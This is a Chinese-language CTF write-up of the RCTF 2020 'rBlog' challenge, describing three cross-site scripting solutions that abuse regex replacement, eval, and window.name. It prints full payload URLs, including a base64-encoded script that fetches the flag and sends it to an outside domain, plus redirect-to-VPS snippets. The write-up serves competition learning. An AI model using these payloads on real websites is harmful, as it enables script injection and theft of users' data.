RCTF2020-Rblog的三种解法

胡言乱语

本想考研抽空看看题,结果成了打CTF抽空考考研。膜超强蓝猫,36长度的xss花了一整天时间,不过好在最后done了,否则今天kpi又完不成了

过草,立个flag:这是最后一次打CTF

不bb废话直奔主题

JS正则

这一部分不准备细说,replace()函数支持用$将匹配的内容带入/replacement/,用这个方法能拿到题目ajax返回内容content中p标签的<符号来逃逸p标签。详细介绍戳蓝猫的wp👉RCTF 2020 rBlog writeup

-w410

Solution-1

先放一下我的解法,payload如下

http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=[$`style onload=write(unescape(u)) ]#?highlight=<script>alert(1)<%2Fscript>

发送管理员的http包如下,这里注意在postid重写highligt参数后用锚点把入库的的”highligt”参数处理为hash(原因看代码feedback.html)
-w714

这是中规中矩的思路,onload下作用域是有document可用的,所以无需用document.write,直接调用write+unescape将hightlight编码的标签写进当前window。

Solution-2

利用eval+URL对象动态传参,如下

https://rblog.rctf2020.rois.io/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=.|$%26style onload=eval("`"%2bu.search) &`-eval(atob(`YXhpb3MuZ2V0KCdmbGFnJykudGhlbihlPT5sb2NhdGlvbi5ocmVmPScvL3hzcy5mMXNoLnNpdGUvPycrZS5kYXRhKQ=`))#?highlight=2333

利用eval+运算的性质,把url的protocol+host+pathname部分拼接成字符串,逃逸出来后面需要执行的语句。抽象原理如下图。所以我们只需要想办法让eval里的语句不报错就行了
-w441

Solution-3

这是蓝猫官方的解法,当a协议没有写//时,href的值不会当作相对路径处理,而是可以直接将domain写入href

-w910

所以bot在click的时候可以跳转到自己的vps。

此时vps只需把自己的window.name当作eval xss的跳板,location再重定向到题目的时候,top指向顶级窗体,也就是vps上的html(这思路真的🐂🍺)

//index.html
<script>
window.name = 'hpdoger';
location = 'password.html';
</script>

//password.html
<script>
alert(top.name)
</script>

-w827

not found!